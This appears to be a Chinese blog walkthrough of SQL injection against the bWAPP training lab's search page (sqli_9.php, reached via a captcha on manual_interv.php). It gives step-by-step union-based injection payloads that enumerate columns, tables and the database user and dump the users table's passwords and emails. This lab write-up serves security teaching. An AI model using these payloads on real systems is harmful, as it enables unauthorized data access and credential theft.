1. 程式人生 > >SQL註入之bWAPP之manual_interv.php

SQL註入之bWAPP之manual_interv.php

bWAPP之manual_interv bWAPP之sqli_9.php

1、輸入驗證碼,多想也沒用。
技術分享圖片
技術分享圖片
然後跳轉到
技術分享圖片
技術分享圖片
熟悉的註入頁面。猜想驗證碼的作用應該就是起到一個登陸驗證的作用,查看“manual_interv.php”,代碼如下:

if(isset($_POST["form"]) && isset($_SESSION["captcha"]))
{

    if($_POST["captcha_user"] == $_SESSION["captcha"])
    {

        $_SESSION["manual_interv"] = 1;

        header("Location: sqli_9.php");

        exit;

    }

    else
    {

        $message = "<font color=\"red\">Incorrect CAPTCHA!</font>";

    }

}

判斷驗證碼,並跳轉到“sqli_9.php”。
下面是搜索型SQL的代碼:
$sql = "SELECT * FROM movies WHERE title LIKE ‘%" . sqli($title) . "%‘";
之前忘了說,搜索型註入為什麽輸入“1%‘and‘%‘=‘”會是正常的不報錯的,因為“1%‘”這裏的百分號和單引號(%‘),閉合了代碼中“LIKE ‘%”,二“and‘%‘=‘”這裏的(‘%‘=‘)是為了閉合代碼最後面的“%‘";”;註入進去就變成了“SELECT * FROM movies WHERE title LIKE ‘%" 1%‘and‘%‘=‘ "%‘”,意思就是搜索“1”,後面的“‘%’=‘%’”成了一個為真的判斷。輸入“1%‘查詢語句+--+”,是閉合前面的搜索查詢,並調用我們註入的查詢語句,然後註釋掉後面的內容。

下面接著講這次的SQL註入。
2、輸入個單引號進行判斷。
技術分享圖片
報錯又有“%”,果斷嘗試搜索型註入。輸入“title=1%‘and‘%‘=‘”,結果如圖:
技術分享圖片
3、判斷字段數:
輸入“title=1%‘order by 7 --+”正常,輸入“title=1%‘order by 8 --+”報錯,結果如圖:
技術分享圖片
技術分享圖片
所以字段數為7。
4、查看顯示位:
輸入“title=1%‘union select 1,2,3,4,5,6,7 --+”,結果如圖:
技術分享圖片
5、查詢數據庫等信息:
輸入“title=1%‘union select 1,database(),version(),4,user(),6,7 --+”,查詢數據庫名為bwapp、數據庫版本為5.5.53、當前用戶為root@localhost,結果如圖:
技術分享圖片
6、查詢表名:
輸入“title=1%‘union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema=‘bwapp‘--+”,發現users表較為重要,結果如圖:
技術分享圖片
7、查詢字段名:
輸入“title=1%‘union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name=‘users‘--+”,發現較重要的字段有admin、password、email,結果如圖:
技術分享圖片
8、查詢字段內容:
輸入“title=1%‘union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,結果如圖:
技術分享圖片

SQL註入之bWAPP之manual_interv.php